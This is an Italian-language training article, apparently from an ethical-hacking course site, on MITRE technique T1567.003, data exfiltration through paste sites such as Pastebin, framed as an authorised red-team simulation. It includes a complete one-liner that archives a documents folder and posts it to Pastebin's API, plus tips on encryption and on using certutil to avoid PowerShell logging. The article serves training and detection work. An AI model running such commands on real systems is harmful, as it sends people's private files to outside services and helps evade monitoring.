Esfiltrazione via Paste Site: Exfiltration to Text Storage Sites (T1567.003)

La tecnica T1567.003 descrive l'uso di servizi di condivisione testuale come Pastebin, Hastebin o Ghostbin come canale alternativo per portare fuori dati sensibili da una rete compromessa. L'idea è semplice ma efficace: invece di inviare i dati verso un server C2 dedicato, che può essere bloccato o attirare attenzione, l'attaccante li deposita su una piattaforma legittima ampiamente utilizzata da sviluppatori per condividere snippet di codice, log e configurazioni.

Dal punto di vista della kill chain, la tecnica si colloca nella tattica TA0010 (Exfiltration), tipicamente dopo fasi di Collection e Staging. Il traffico verso questi domini è generalmente cifrato in HTTPS, si confonde con navigazione web legittima e beneficia della reputazione neutra o positiva del dominio ospitante. Molti paste site offrono inoltre funzionalità premium come paste privati, scadenza automatica, protezione con password e cifratura lato client, che aumentano ulteriormente la capacità di occultamento.

L'impatto operativo è significativo: i controlli perimetrali basati su reputazione di dominio raramente bloccano queste piattaforme, e gli utenti sviluppatori hanno spesso ragioni lecite per accedervi. La distinzione rispetto a T1567.001 (Exfiltration to Code Repository) sta nel fatto che qui non si sfruttano API di repository Git, ma endpoint HTTP semplici pensati per il paste rapido di testo.

In un esercizio red team autorizzato, la simulazione di T1567.003 è tra le più semplici da mettere in scena ma anche tra le più istruttive per misurare la maturità del monitoraggio egress. La catena tipica prevede tre fasi: raccolta, packaging e pubblicazione su servizio testuale.

Su Linux e macOS lo strumento di elezione è curl (open source), che consente di inviare un POST HTTP verso l'API pubblica di Pastebin con un payload testuale. Un esempio di catena completa comprime i dati raccolti, li codifica in base64 per renderli compatibili con il campo testo, e li invia:

tar czf - /home/user/documents | base64 | curl -X POST -d "api_dev_key=KEY&api_option=paste&api_paste_code=$(cat)" https://pastebin.com/api/api_post.php

Per aumentare il realismo dell'esercizio, l'output andrebbe cifrato prima della codifica con openssl enc -aes-256-cbc (open source), simulando così il comportamento di attaccanti sofisticati che usano paste site come dead drop cifrati.

Su Windows, la simulazione può essere realizzata con PowerShell (integrato nel sistema) tramite Invoke-WebRequest o Invoke-RestMethod. Un payload realistico legge file da cartelle sensibili come Documents, li comprime con Compress-Archive, converte lo ZIP in stringa base64 e la invia via POST. L'uso di LOLBAS come certutil.exe per la codifica base64 è particolarmente interessante perché evita PowerShell logging avanzato: certutil -encode input.zip output.b64.

Su macOS si può orchestrare la catena con osascript per la raccolta interattiva combinato a curl per l'invio, oppure con AppleScript che accede alla clipboard tramite pbpaste e la esfiltra.

Su ESXi, essendo un ambiente ristretto, la simulazione realistica prevede l'uso della shell BusyBox per leggere file da datastore (/vmfs/volumes/) e inviarli con wget o curl verso l'endpoint di paste. Questo scenario è particolarmente rilevante dopo compromissioni di appliance di virtualizzazione.

Tool aggiuntivi utili per il laboratorio includono Sliver (open source) e Mythic (open source), framework C2 che supportano moduli di esfiltrazione custom facilmente adattabili a paste site. Per il traffic analysis lato blue team durante l'esercizio, Wireshark (open source) e Zeek (open source) permettono di osservare i pattern di richiesta e valutare la detectabilità della simulazione.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.